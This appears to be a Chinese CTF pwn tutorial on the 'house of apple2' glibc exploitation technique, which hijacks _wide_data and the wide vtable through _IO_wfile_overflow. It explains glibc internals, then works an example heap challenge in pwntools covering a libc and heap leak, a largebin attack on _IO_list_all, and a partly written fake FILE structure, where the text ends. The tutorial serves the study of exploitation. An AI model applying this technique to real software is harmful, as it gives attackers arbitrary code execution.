house of apple2之_IO_wfile_overflow
原理
house of apple系列是由山海关的大pwn佬roderick01师傅于2022年提出来的一种io利用方法,其基于劫持IO_FILE->wide_data,来控制程序执行流
而这种方式相较于之前提出来的各种利用方式,要求少了很多,使用条件只有以下三条
- 已知
heap
地址和glibc
地址 - 能控制程序执行
IO
操作,包括但不限于:从main
函数返回、调用exit
函数、通过__malloc_assert
触发 - 能控制
_IO_FILE
的vtable
和_wide_data
,一般使用largebin attack
去控制,也只需要一次largebin attack即可
在原文里存在多条不同的调用链,限于篇幅,本文只涉及其中一条,即_IO_wfile_overflow
我们先来回顾一下io结构体的源代码
struct _IO_FILE
{
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
/* The following pointers correspond to the C++ streambuf protocol. */
char *_IO_read_ptr; /* Current read pointer */
char *_IO_read_end; /* End of get area. */
char *_IO_read_base; /* Start of putback+get area. */
char *_IO_write_base; /* Start of put area. */
char *_IO_write_ptr; /* Current put pointer. */
char *_IO_write_end; /* End of put area. */
char *_IO_buf_base; /* Start of reserve area. */
char *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
int _flags2;
__off_t _old_offset; /* This used to be _offset but it's too small. */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
那么对于这个结构体,在libc2.24之后,程序都会对其虚表指针(vtable,stdin/stdout/stderr这三个_IO_FILE结构体使用的是IO_file_jumps)进行地址检查,检查其范围是不是在虚表范围之内,所以曾经的各种利用方式也都在虚表范围内进行操作,无论是其中的那一个,都逃不过这个检查,那么有没有什么操作可以跳出这个限制,或者绕过这个保护呢
这就引出了house of apple2,其涉及到了宽字节_IO_wide_data
结构体(宽字节其实就是类似中文这种无法用一个字节ASCII码处理的字符)
我们来看一下它的结构体
struct _IO_wide_data
{
wchar_t *_IO_read_ptr; /* Current read pointer */
wchar_t *_IO_read_end; /* End of get area. */
wchar_t *_IO_read_base; /* Start of putback+get area. */
wchar_t *_IO_write_base; /* Start of put area. */
wchar_t *_IO_write_ptr; /* Current put pointer. */
wchar_t *_IO_write_end; /* End of put area. */
wchar_t *_IO_buf_base; /* Start of reserve area. */
wchar_t *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
wchar_t *_IO_save_base; /* Pointer to start of non-current get area. */
wchar_t *_IO_backup_base; /* Pointer to first valid character of
backup area */
wchar_t *_IO_save_end; /* Pointer to end of non-current get area. */
__mbstate_t _IO_state;
__mbstate_t _IO_last_state;
struct _IO_codecvt _codecvt;
wchar_t _shortbuf[1];
const struct _IO_jump_t *_wide_vtable;
};
可以发现,这个结构体和io_file结构体相似度极高,也存在一个IO_jump_t结构体,_wide_vtable
我们尝试向上溯源,看看是哪个位置调用过它
根据引用,不难找到_IO_wdoallocbuf函数,在这个函数里面,调用了IO_wide_data结构体
需要满足fp->_wide_data->_IO_buf_base == 0
和fp->_flags & _IO_UNBUFFERED == 0
,就可以调用到该结构体
void
_IO_wdoallocbuf (FILE *fp)
{
if (fp->_wide_data->_IO_buf_base)
return;
if (!(fp->_flags & _IO_UNBUFFERED))
if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)// _IO_WXXXX调用
return;
_IO_wsetb (fp, fp->_wide_data->_shortbuf,
fp->_wide_data->_shortbuf + 1, 0);
}
libc_hidden_def (_IO_wdoallocbuf)
里面涉及到一个宏定义,_IO_WDOALLOCATE
extern void _IO_wdoallocbuf (FILE *) __THROW;
libc_hidden_proto (_IO_wdoallocbuf)
其中的宏定义拓展是这个样子,我们取出来逐行分析
((*(__typeof__ (((struct _IO_FILE){})._wide_data) *)(((char *) ((fp))) + __builtin_offsetof(struct _IO_FILE, _wide_data)))->_wide_vtable->__doallocate) (fp)
看起来相当复杂,但是其实我们一点一点分析即可
(1)(typeof (((struct _IO_FILE){})._wide_data))`:
-
__typeof__
是 GNU C 的一个扩展,用于获取表达式的类型。在这里,它使用了_IO_FILE
结构体的_wide_data
成员来确定类型。 -
((struct _IO_FILE){})
创建了一个匿名的_IO_FILE
结构体的实例,并使用_wide_data
获取这个成员的类型。 -
__typeof__ (((struct _IO_FILE){})._wide_data)
表示这个宏展开时会根据_IO_FILE
的_wide_data
成员类型来确定类型。
(2) (char \*) ((fp))
:
-
(fp)
是传入的参数,通常是一个指向_IO_FILE
结构体的指针。在这里,它被强制转换为char*
类型,目的是进行指针的位移操作。
(3) __builtin_offsetof(struct _IO_FILE, _wide_data)
:
-
__builtin_offsetof
是 GCC 内建函数,返回指定结构体成员的偏移量。在这里,它返回_wide_data
成员在_IO_FILE
结构体中的偏移量。 - 这一步是为了通过指针计算得到
_wide_data
成员的实际位置。
(4) (((char \*) ((fp))) + __builtin_offsetof(struct _IO_FILE, _wide_data))
:
- 这个表达式的作用是通过将
fp
转换为char*
指针,并加上_wide_data
在结构体中的偏移量,来计算_wide_data
的地址。
(5) (__typeof__ (((struct _IO_FILE){})._wide_data) \*)
:
- 这里将上面计算得到的地址强制转换为
_wide_data
成员的类型指针。
(6) ->_wide_vtable->__doallocate
:
-
_wide_data
结构体中有一个_wide_vtable
,它指向一张虚表(vtable)。通过这个虚表,我们访问其中的__doallocate
函数。
(7) (fp)
:
- 最后,将
fp
作为参数传递给__doallocate
函数。
该宏的作用是在运行时通过指针操作计算出 _IO_FILE
结构体中的 _wide_data
成员的位置,然后通过虚函数表(vtable)调用 __doallocate
函数,并传入 fp
作为参数。
不难发现,根本没有对地址的加密,检查等操作,所以这里就存在利用的操作了,那么我们再看看从哪里可以调用到这个函数
wint_t
_IO_wfile_overflow (FILE *f, wint_t wch)
{
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return WEOF;
}
/* If currently reading or no buffer allocated. */
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0)
{
/* Allocate a buffer if needed. */
if (f->_wide_data->_IO_write_base == 0)
{
_IO_wdoallocbuf (f);// 需要走到这里
// ......
}
}
}
也是可以很轻易的找到_IO_wfile_overflow函数,可以看到其中调用了IO_wdoallocbuf函数,需要满足f->_flags & _IO_NO_WRITES == 0
并且f->_flags & _IO_CURRENTLY_PUTTING == 0
和f->_wide_data->_IO_write_base == 0
,就可以走到调用的位置了
所以我们不难总结出一下的函数调用链
_IO_wfile_overflow
_IO_wdoallocbuf
_IO_WDOALLOCATE
*(fp->_wide_data->_wide_vtable + 0x68)(fp)
所以总结一下,我们可以通过修改 vtable
改变程序执行流程,使程序调用 _wide_vtable
中的函数,然后再将 _wide_vtable
指向一个伪造的函数表从而劫持程序执行流程。
所以其实我们的重点还是在于,怎么去调用到_IO_wfile_overflow函数
我们可以利用gdb把整个_IO_file_jumps打印出来
18:00c0│ 0x7fd1abe63310 (__io_vtables+16) —▸ 0x7fd1abd148c0 (_IO_str_finish) ◂— endbr64
19:00c8│ 0x7fd1abe63318 (__io_vtables+24) —▸ 0x7fd1abd143d0 (_IO_str_overflow) ◂— endbr64
1a:00d0│ 0x7fd1abe63320 (__io_vtables+32) —▸ 0x7fd1abd14590 (_IO_str_underflow) ◂— endbr64
1b:00d8│ 0x7fd1abe63328 (__io_vtables+40) —▸ 0x7fd1abd12a70 (_IO_default_uflow) ◂— endbr64
1c:00e0│ 0x7fd1abe63330 (__io_vtables+48) —▸ 0x7fd1abd148a0 (_IO_str_pbackfail) ◂— endbr64
1d:00e8│ 0x7fd1abe63338 (__io_vtables+56) —▸ 0x7fd1abd12ad0 (_IO_default_xsputn) ◂— endbr64
1e:00f0│ 0x7fd1abe63340 (__io_vtables+64) —▸ 0x7fd1abd12c50 (_IO_default_xsgetn) ◂— endbr64
1f:00f8│ 0x7fd1abe63348 (__io_vtables+72) —▸ 0x7fd1abd14610 (_IO_str_seekoff) ◂— endbr64
20:0100│ 0x7fd1abe63350 (__io_vtables+80) —▸ 0x7fd1abd12e10 (_IO_default_seekpos) ◂— endbr64
21:0108│ 0x7fd1abe63358 (__io_vtables+88) —▸ 0x7fd1abd12d10 (_IO_default_setbuf) ◂— endbr64
22:0110│ 0x7fd1abe63360 (__io_vtables+96) —▸ 0x7fd1abd13100 (_IO_default_sync) ◂— endbr64
23:0118│ 0x7fd1abe63368 (__io_vtables+104) —▸ 0x7fd1abd12e80 (_IO_default_doallocate) ◂— endbr64
24:0120│ 0x7fd1abe63370 (__io_vtables+112) —▸ 0x7fd1abd13f80 (_IO_default_read) ◂— endbr64
25:0128│ 0x7fd1abe63378 (__io_vtables+120) —▸ 0x7fd1abd13f90 (_IO_default_write) ◂— endbr64
26:0130│ 0x7fd1abe63380 (__io_vtables+128) —▸ 0x7fd1abd13f60 (_IO_default_seek) ◂— endbr64
27:0138│ 0x7fd1abe63388 (__io_vtables+136) —▸ 0x7fd1abd13100 (_IO_default_sync) ◂— endbr64
28:0140│ 0x7fd1abe63390 (__io_vtables+144) —▸ 0x7fd1abd13f70 (_IO_default_stat) ◂— endbr64
29:0148│ 0x7fd1abe63398 (__io_vtables+152) —▸ 0x7fd1abd13fa0 (_IO_default_showmanyc) ◂— endbr64
2a:0150│ 0x7fd1abe633a0 (__io_vtables+160) —▸ 0x7fd1abd13fb0 (_IO_default_imbue) ◂— endbr64
2b:0158│ 0x7fd1abe633a8 (__io_vtables+168) ◂— 0
2c:0160│ 0x7fd1abe633b0 (__io_vtables+176) ◂— 0
2d:0168│ 0x7fd1abe633b8 (__io_vtables+184) —▸ 0x7fd1abd0a980 (_IO_wstr_finish) ◂— endbr64
2e:0170│ 0x7fd1abe633c0 (__io_vtables+192) —▸ 0x7fd1abd0a3c0 (_IO_wstr_overflow) ◂— endbr64
2f:0178│ 0x7fd1abe633c8 (__io_vtables+200) —▸ 0x7fd1abd0a5e0 (_IO_wstr_underflow) ◂— endbr64
30:0180│ 0x7fd1abe633d0 (__io_vtables+208) —▸ 0x7fd1abd09700 (_IO_wdefault_uflow) ◂— endbr64
31:0188│ 0x7fd1abe633d8 (__io_vtables+216) —▸ 0x7fd1abd0a960 (_IO_wstr_pbackfail) ◂— endbr64
32:0190│ 0x7fd1abe633e0 (__io_vtables+224) —▸ 0x7fd1abd097e0 (_IO_wdefault_xsputn) ◂— endbr64
33:0198│ 0x7fd1abe633e8 (__io_vtables+232) —▸ 0x7fd1abd09d40 (_IO_wdefault_xsgetn) ◂— endbr64
34:01a0│ 0x7fd1abe633f0 (__io_vtables+240) —▸ 0x7fd1abd0a680 (_IO_wstr_seekoff) ◂— endbr64
35:01a8│ 0x7fd1abe633f8 (__io_vtables+248) —▸ 0x7fd1abd12e10 (_IO_default_seekpos) ◂— endbr64
36:01b0│ 0x7fd1abe63400 (__io_vtables+256) —▸ 0x7fd1abd12d10 (_IO_default_setbuf) ◂— endbr64
37:01b8│ 0x7fd1abe63408 (__io_vtables+264) —▸ 0x7fd1abd13100 (_IO_default_sync) ◂— endbr64
38:01c0│ 0x7fd1abe63410 (__io_vtables+272) —▸ 0x7fd1abd09950 (_IO_wdefault_doallocate) ◂— endbr64
39:01c8│ 0x7fd1abe63418 (__io_vtables+280) —▸ 0x7fd1abd13f80 (_IO_default_read) ◂— endbr64
3a:01d0│ 0x7fd1abe63420 (__io_vtables+288) —▸ 0x7fd1abd13f90 (_IO_default_write) ◂— endbr64
3b:01d8│ 0x7fd1abe63428 (__io_vtables+296) —▸ 0x7fd1abd13f60 (_IO_default_seek) ◂— endbr64
3c:01e0│ 0x7fd1abe63430 (__io_vtables+304) —▸ 0x7fd1abd13100 (_IO_default_sync) ◂— endbr64
3d:01e8│ 0x7fd1abe63438 (__io_vtables+312) —▸ 0x7fd1abd13f70 (_IO_default_stat) ◂— endbr64
3e:01f0│ 0x7fd1abe63440 (__io_vtables+320) —▸ 0x7fd1abd13fa0 (_IO_default_showmanyc) ◂— endbr64
3f:01f8│ 0x7fd1abe63448 (__io_vtables+328) —▸ 0x7fd1abd13fb0 (_IO_default_imbue) ◂— endbr64
40:0200│ 0x7fd1abe63450 (_IO_file_jumps) ◂— 0
41:0208│ 0x7fd1abe63458 (_IO_file_jumps+8) ◂— 0
42:0210│ 0x7fd1abe63460 (_IO_file_jumps+16) —▸ 0x7fd1abd10010 (__SI_IO_new_file_finish_3) ◂— endbr64
43:0218│ 0x7fd1abe63468 (_IO_file_jumps+24) —▸ 0x7fd1abd10bc0 (__SI_IO_new_file_overflow_8) ◂— endbr64
44:0220│ 0x7fd1abe63470 (_IO_file_jumps+32) —▸ 0x7fd1abd10780 (__SI_IO_new_file_underflow_10) ◂— endbr64
45:0228│ 0x7fd1abe63478 (_IO_file_jumps+40) —▸ 0x7fd1abd12a70 (_IO_default_uflow) ◂— endbr64
46:0230│ 0x7fd1abe63480 (_IO_file_jumps+48) —▸ 0x7fd1abd13e10 (_IO_default_pbackfail) ◂— endbr64
47:0238│ 0x7fd1abe63488 (_IO_file_jumps+56) —▸ 0x7fd1abd11740 (__SI_IO_new_file_xsputn_12) ◂— endbr64
48:0240│ 0x7fd1abe63490 (_IO_file_jumps+64) —▸ 0x7fd1abd11920 (__GI__IO_file_xsgetn) ◂— endbr64
49:0248│ 0x7fd1abe63498 (_IO_file_jumps+72) —▸ 0x7fd1abd10f10 (__SI_IO_new_file_seekoff_9) ◂— endbr64
4a:0250│ 0x7fd1abe634a0 (_IO_file_jumps+80) —▸ 0x7fd1abd12e10 (_IO_default_seekpos) ◂— endbr64
4b:0258│ 0x7fd1abe634a8 (_IO_file_jumps+88) —▸ 0x7fd1abd106a0 (__SI_IO_new_file_setbuf_6) ◂— endbr64
4c:0260│ 0x7fd1abe634b0 (_IO_file_jumps+96) —▸ 0x7fd1abd10dd0 (__SI_IO_new_file_sync_7) ◂— endbr64
4d:0268│ 0x7fd1abe634b8 (_IO_file_jumps+104) —▸ 0x7fd1abd043e0 (_IO_file_doallocate) ◂— endbr64
4e:0270│ 0x7fd1abe634c0 (_IO_file_jumps+112) —▸ 0x7fd1abd11600 (_IO_file_read) ◂— endbr64
4f:0278│ 0x7fd1abe634c8 (_IO_file_jumps+120) —▸ 0x7fd1abd116a0 (__SI_IO_new_file_write_11) ◂— endbr64
50:0280│ 0x7fd1abe634d0 (_IO_file_jumps+128) —▸ 0x7fd1abd11630 (_IO_file_seek) ◂— endbr64
51:0288│ 0x7fd1abe634d8 (_IO_file_jumps+136) —▸ 0x7fd1abd11690 (_IO_file_close) ◂— endbr64
52:0290│ 0x7fd1abe634e0 (_IO_file_jumps+144) —▸ 0x7fd1abd11640 (_IO_file_stat) ◂— endbr64
53:0298│ 0x7fd1abe634e8 (_IO_file_jumps+152) —▸ 0x7fd1abd13fa0 (_IO_default_showmanyc) ◂— endbr64
54:02a0│ 0x7fd1abe634f0 (_IO_file_jumps+160) —▸ 0x7fd1abd13fb0 (_IO_default_imbue) ◂— endbr64
55:02a8│ 0x7fd1abe634f8 (__io_vtables+504) ◂— 0
56:02b0│ 0x7fd1abe63500 (__io_vtables+512) ◂— 0
57:02b8│ 0x7fd1abe63508 (__io_vtables+520) —▸ 0x7fd1abd10010 (__SI_IO_new_file_finish_3) ◂— endbr64
58:02c0│ 0x7fd1abe63510 (__io_vtables+528) —▸ 0x7fd1abd10bc0 (__SI_IO_new_file_overflow_8) ◂— endbr64
59:02c8│ 0x7fd1abe63518 (__io_vtables+536) —▸ 0x7fd1abd10ad0 (_IO_file_underflow_mmap) ◂— endbr64
5a:02d0│ 0x7fd1abe63520 (__io_vtables+544) —▸ 0x7fd1abd12a70 (_IO_default_uflow) ◂— endbr64
5b:02d8│ 0x7fd1abe63528 (__io_vtables+552) —▸ 0x7fd1abd13e10 (_IO_default_pbackfail) ◂— endbr64
5c:02e0│ 0x7fd1abe63530 (__io_vtables+560) —▸ 0x7fd1abd11740 (__SI_IO_new_file_xsputn_12) ◂— endbr64
5d:02e8│ 0x7fd1abe63538 (__io_vtables+568) —▸ 0x7fd1abd11b40 (_IO_file_xsgetn_mmap) ◂— endbr64
5e:02f0│ 0x7fd1abe63540 (__io_vtables+576) —▸ 0x7fd1abd11470 (_IO_file_seekoff_mmap) ◂— endbr64
5f:02f8│ 0x7fd1abe63548 (__io_vtables+ 584) —▸ 0x7fd1abd12e10 (_IO_default_seekpos) ◂— endbr64
60:0300│ 0x7fd1abe63550 (__io_vtables+592) —▸ 0x7fd1abd106e0 (_IO_file_setbuf_mmap) ◂— endbr64
61:0308│ 0x7fd1abe63558 (__io_vtables+600) —▸ 0x7fd1abd10eb0 (_IO_file_sync_mmap) ◂— endbr64
62:0310│ 0x7fd1abe63560 (__io_vtables+608) —▸ 0x7fd1abd043e0 (_IO_file_doallocate) ◂— endbr64
63:0318│ 0x7fd1abe63568 (__io_vtables+616) —▸ 0x7fd1abd11600 (_IO_file_read) ◂— endbr64
64:0320│ 0x7fd1abe63570 (__io_vtables+624) —▸ 0x7fd1abd116a0 (__SI_IO_new_file_write_11) ◂— endbr64
65:0328│ 0x7fd1abe63578 (__io_vtables+632) —▸ 0x7fd1abd11630 (_IO_file_seek) ◂— endbr64
66:0330│ 0x7fd1abe63580 (__io_vtables+640) —▸ 0x7fd1abd11650 (_IO_file_close_mmap) ◂— endbr64
67:0338│ 0x7fd1abe63588 (__io_vtables+648) —▸ 0x7fd1abd11640 (_IO_file_stat) ◂— endbr64
68:0340│ 0x7fd1abe63590 (__io_vtables+656) —▸ 0x7fd1abd13fa0 (_IO_default_showmanyc) ◂— endbr64
69:0348│ 0x7fd1abe63598 (__io_vtables+664) —▸ 0x7fd1abd13fb0 (_IO_default_imbue) ◂— endbr64
6a:0350│ 0x7fd1abe635a0 (__io_vtables+672) ◂— 0
6b:0358│ 0x7fd1abe635a8 (__io_vtables+680) ◂— 0
6c:0360│ 0x7fd1abe635b0 (__io_vtables+688) —▸ 0x7fd1abd10010 (__SI_IO_new_file_finish_3) ◂— endbr64
6d:0368│ 0x7fd1abe635b8 (__io_vtables+696) —▸ 0x7fd1abd10bc0 (__SI_IO_new_file_overflow_8) ◂— endbr64
6e:0370│ 0x7fd1abe635c0 (__io_vtables+704) —▸ 0x7fd1abd10b60 (_IO_file_underflow_maybe_mmap) ◂— endbr64
6f:0378│ 0x7fd1abe635c8 (__io_vtables+712) —▸ 0x7fd1abd12a70 (_IO_default_uflow) ◂— endbr64
70:0380│ 0x7fd1abe635d0 (__io_vtables+720) —▸ 0x7fd1abd13e10 (_IO_default_pbackfail) ◂— endbr64
71:0388│ 0x7fd1abe635d8 (__io_vtables+728) —▸ 0x7fd1abd11740 (__SI_IO_new_file_xsputn_12) ◂— endbr64
72:0390│ 0x7fd1abe635e0 (__io_vtables+736) —▸ 0x7fd1abd11c40 (_IO_file_xsgetn_maybe_mmap) ◂— endbr64
73:0398│ 0x7fd1abe635e8 (__io_vtables+744) —▸ 0x7fd1abd11590 (_IO_file_seekoff_maybe_mmap) ◂— endbr64
74:03a0│ 0x7fd1abe635f0 (__io_vtables+752) —▸ 0x7fd1abd12e10 (_IO_default_seekpos) ◂— endbr64
75:03a8│ 0x7fd1abe635f8 (__io_vtables+760) —▸ 0x7fd1abd106e0 (_IO_file_setbuf_mmap) ◂— endbr64
76:03b0│ 0x7fd1abe63600 (__io_vtables+768) —▸ 0x7fd1abd10dd0 (__SI_IO_new_file_sync_7) ◂— endbr64
77:03b8│ 0x7fd1abe63608 (__io_vtables+776) —▸ 0x7fd1abd043e0 (_IO_file_doallocate) ◂— endbr64
78:03c0│ 0x7fd1abe63610 (__io_vtables+784) —▸ 0x7fd1abd11600 (_IO_file_read) ◂— endbr64
79:03c8│ 0x7fd1abe63618 (__io_vtables+792) —▸ 0x7fd1abd116a0 (__SI_IO_new_file_write_11) ◂— endbr64
7a:03d0│ 0x7fd1abe63620 (__io_vtables+800) —▸ 0x7fd1abd11630 (_IO_file_seek) ◂— endbr64
7b:03d8│ 0x7fd1abe63628 (__io_vtables+808) —▸ 0x7fd1abd11690 (_IO_file_close) ◂— endbr64
7c:03e0│ 0x7fd1abe63630 (__io_vtables+816) —▸ 0x7fd1abd11640 (_IO_file_stat) ◂— endbr64
7d:03e8│ 0x7fd1abe63638 (__io_vtables+824) —▸ 0x7fd1abd13fa0 (_IO_default_showmanyc) ◂— endbr64
7e:03f0│ 0x7fd1abe63640 (__io_vtables+832) —▸ 0x7fd1abd13fb0 (_IO_default_imbue) ◂— endbr64
7f:03f8│ 0x7fd1abe63648 (_IO_wfile_jumps) ◂— 0
80:0400│ 0x7fd1abe63650 (_IO_wfile_jumps+8) ◂— 0
81:0408│ 0x7fd1abe63658 (_IO_wfile_jumps+16) —▸ 0x7fd1abd10010 (__SI_IO_new_file_finish_3) ◂— endbr64
82:0410│ 0x7fd1abe63660 (_IO_wfile_jumps+24) —▸ 0x7fd1abd0b4d0 (_IO_wfile_overflow) ◂— endbr64
83:0418│ 0x7fd1abe63668 (_IO_wfile_jumps+32) —▸ 0x7fd1abd0ac90 (_IO_wfile_underflow) ◂— endbr64
84:0420│ 0x7fd1abe63670 (_IO_wfile_jumps+40) —▸ 0x7fd1abd09700 (_IO_wdefault_uflow) ◂— endbr64
85:0428│ 0x7fd1abe63678 (_IO_wfile_jumps+48) —▸ 0x7fd1abd094b0 (_IO_wdefault_pbackfail) ◂— endbr64
86:0430│ 0x7fd1abe63680 (_IO_wfile_jumps+56) —▸ 0x7fd1abd0c150 (_IO_wfile_xsputn) ◂— endbr64
87:0438│ 0x7fd1abe63688 (_IO_wfile_jumps+64) —▸ 0x7fd1abd11920 (__GI__IO_file_xsgetn) ◂— endbr64
88:0440│ 0x7fd1abe63690 (_IO_wfile_jumps+72) —▸ 0x7fd1abd0b920 (_IO_wfile_seekoff) ◂— endbr64
89:0448│ 0x7fd1abe63698 (_IO_wfile_jumps+80) —▸ 0x7fd1abd12e10 (_IO_default_seekpos) ◂— endbr64
8a:0450│ 0x7fd1abe636a0 (_IO_wfile_jumps+88) —▸ 0x7fd1abd106a0 (__SI_IO_new_file_setbuf_6) ◂— endbr64
8b:0458│ 0x7fd1abe636a8 (_IO_wfile_jumps+96) —▸ 0x7fd1abd0b780 (_IO_wfile_sync) ◂— endbr64
8c:0460│ 0x7fd1abe636b0 (_IO_wfile_jumps+104) —▸ 0x7fd1abd05960 (_IO_wfile_doallocate) ◂— endbr64
8d:0468│ 0x7fd1abe636b8 (_IO_wfile_jumps+112) —▸ 0x7fd1abd11600 (_IO_file_read) ◂— endbr64
8e:0470│ 0x7fd1abe636c0 (_IO_wfile_jumps+120) —▸ 0x7fd1abd116a0 (__SI_IO_new_file_write_11) ◂— endbr64
8f:0478│ 0x7fd1abe636c8 (_IO_wfile_jumps+128) —▸ 0x7fd1abd11630 (_IO_file_seek) ◂— endbr64
90:0480│ 0x7fd1abe636d0 (_IO_wfile_jumps+136) —▸ 0x7fd1abd11690 (_IO_file_close) ◂— endbr64
91:0488│ 0x7fd1abe636d8 (_IO_wfile_jumps+144) —▸ 0x7fd1abd11640 (_IO_file_stat) ◂— endbr64
92:0490│ 0x7fd1abe636e0 (_IO_wfile_jumps+152) —▸ 0x7fd1abd13fa0 (_IO_default_showmanyc) ◂— endbr64
93:0498│ 0x7fd1abe636e8 (_IO_wfile_jumps+160) —▸ 0x7fd1abd13fb0 (_IO_default_imbue) ◂— endbr64
查找一下可以发现在第410行的位置有_IO_wfile_overflow
82:0410│ 0x7fd1abe63660 (_IO_wfile_jumps+24) —▸ 0x7fd1abd0b4d0 (_IO_wfile_overflow) ◂— endbr64
可见,这个函数其实是在这个表里面,而这个表就是虚表地址检查的范围,所以我们只需要将vatable指针指向表的某个偏移处,使其最终调用到这个函数即可
总结一下上述的攻击
而上述的函数调用,最终走到调用位置的条件不同,这里也需要总结一下
对fp
的设置如下:
-
_flags
设置为~(2 | 0x8 | 0x800)
,如果不需要控制rdi
,设置为0
即可;如果需要获得shell
,可设置为;sh;
。 -
vtable
设置为_IO_wfile_jumps/_IO_wfile_jumps_mmap/_IO_wfile_jumps_maybe_mmap
地址(加减偏移),使其能成功调用_IO_wfile_overflow
即可 -
_wide_data
设置为可控堆地址A
,即满足*(fp + 0xa0) = A
-
_wide_data->_IO_write_base
设置为0
,即满足*(A + 0x18) = 0
-
_wide_data->_IO_buf_base
设置为0
,即满足*(A + 0x30) = 0
-
_wide_data->_wide_vtable
设置为可控堆地址B
,即满足*(A + 0xe0) = B
-
_wide_data->_wide_vtable->doallocate
设置为地址C
用于劫持RIP
,即满足*(B + 0x68) = C
例题
最终我们还是需要通过题目来进行学习
#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
char *chunk_list[0x100];
#define puts(str) write(1, str, strlen(str)), write(1, "\n", 1)
void menu() {
puts("1. add chunk");
puts("2. delete chunk");
puts("3. edit chunk");
puts("4. show chunk");
puts("5. exit");
puts("choice:");
}
int get_num() {
char buf[0x10];
read(0, buf, sizeof(buf));
return atoi(buf);
}
void add_chunk() {
puts("index:");
int index = get_num();
puts("size:");
int size = get_num();
chunk_list[index] = malloc(size);
}
void delete_chunk() {
puts("index:");
int index = get_num();
free(chunk_list[index]);
}
void edit_chunk() {
puts("index:");
int index = get_num();
puts("length:");
int length = get_num();
puts("content:");
read(0, chunk_list[index], length);
}
void show_chunk() {
puts("index:");
int index = get_num();
puts(chunk_list[index]);
}
int main() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
while (1) {
menu();
int choice = get_num();
switch (choice) {
case 1:
add_chunk();
break;
case 2:
delete_chunk();
break;
case 3:
edit_chunk();
break;
case 4:
show_chunk();
break;
case 5:
exit(0);
default:
puts("invalid choice.");
}
}
}
这是例题的源代码,除了把io堵死了,剩下的没有任何限制,而我本地使用的libc为2.38
.rodata:0000000000197540 banner db 'GNU C Library (GNU libc) stable release version 2.38.',0Ah
首先简单的逆向我就不再多说
from pwn import *
context(log_level = 'debug', arch = 'amd64', os = 'linux')
elf = ELF("./pwn")
libc = ELF("libc.so.6")
io = process(["/home/gets/pwn/study/heap/apple2/ld-linux-x86-64.so.2", "./pwn"],
env={"LD_PRELOAD":"/home/gets/pwn/study/heap/apple2/libc.so.6"})
def dbg():
gdb.attach(io)
def add(index, size):
io.sendafter("choice:", "1")
io.sendafter("index:", str(index))
io.sendafter("size:", str(size))
def free(index):
io.sendafter("choice:", "2")
io.sendafter("index:", str(index))
def edit(index, content):
io.sendafter("choice:", "3")
io.sendafter("index:", str(index))
io.sendafter("length:", str(len(content)))
io.sendafter("content:", content)
def show(index):
io.sendafter("choice:", "4")
io.sendafter("index:", str(index))
然后我们泄露堆地址和libc地址
add(0, 0x418)
add(1, 0x18)
add(2, 0x428)
add(3, 0x18)
free(2)
free(0)
可以通过chunk2泄露libc,通过chunk0泄露堆地址
edit(2, 'a')
show(2)
libc.address = u64(io.recvuntil(b'\x7F')[-6:].ljust(8, b'\x00')) - (libc.sym['main_arena'] + 96 + ord('a'))
info("libc base: " + hex(libc.address))
这是泄露libc,泄露完之后需要改回来,防止报错,然后采用相同方式,泄露堆地址
edit(2, '\x00')
show(0)
io.recv()
heap_base = u64(io.recv(6).ljust(8,b'\x00')) & ~0xFFF
info("heap base: " + hex(heap_base))
可以看到,我们成功拿到了libc和堆地址
这个时候要开始着手进行largebin attack了,我们把堆块0申请回来,这个时候的堆块2就会被放进largebin,修改它的bk_nextsize指针,指向目标地址(这里是_IO_list_all)减去0x20
在把0号堆块free掉,这时候0号堆块在unsortedbin里面,我们申请0x408,就可以把0号堆块放进largebin,这里可能大家会有疑惑,为什么不会切割堆块,反而会放进largebin里面,这是因为从 unsorted bin 中直接切割 chunk 的条件中 victim == av->last_remainder
没有满足(因为成为 last_remainder 的条件之一是大小在 small bin 范围内),最终 unsorted bin 中的 chunk 进入 large bin 中触发 large bin attack 。
也就是这样,我们满足了释放一个更小的堆块进入largebin的操作,完成了攻击
add(0, 0x418)
edit(2, p64(0) * 3 + p64(libc.sym['_IO_list_all'] - 0x20))
free(0)
add(0, 0x408)
pwndbg> p &_IO_list_all
$1 = (struct _IO_FILE_plus **) 0x7f0a7ef636a0 <__GI__IO_list_all>
pwndbg> x/gx 0x7f0a7ef636a0
0x7f0a7ef636a0 <__GI__IO_list_all>: 0x00005555561d26d0
可以看到,这个时候我们的_IO_list_all就被伪造成堆块2的地址了,然后我们需要准备一些参数和把chunk2的数值还原,防止出问题
file_addr = heap_base + 0x6d0
IO_wide_data_addr = (file_addr + 0xd8 + 8) - 0xe0
wide_vtable_addr = (file_addr + 0xd8 + 8 + 8) - 0x68
edit(2, p64(libc.sym['main_arena'] + 1104) * 2 + p64(file_addr) * 2)
add(2, 0x428)
然后我们进行堆块的伪造
fake_io = b""
fake_io += p64(0) # _IO_read_end
fake_io += p64(0) # _IO_read_base
fake_io += p64(0) # _IO_write_base
fake_io += p64(1) # _IO_write_ptr
fake_io += p64(0) # _IO_write_end
fake_io += p64(0) # _IO_buf_base;
fake_io += p64(0) # _IO_buf_end should usually be (_IO_buf_base + 1)
fake_io += p64(0) * 4 # from _IO_save_base to _markers
fake_io += p64(0) # the FILE chain ptr
fake_io += p32(2) # _fileno for stderr is 2
fake_io += p32(0) # _flags2, usually 0
fake_io += p64(0xFFFFFFFFFFFFFFFF) # _old_offset, -1
fake_io += p16(0) # _cur_column
fake_io += b"\x00" # _vtable_offset
fake_io += b"\n" # _shortbuf[1]
fake_io += p32(0) # padding
fake_io += p64(libc.sym['_IO_2_1_stdout_'] + 0x1ea0) # _IO_stdfile_1_lock
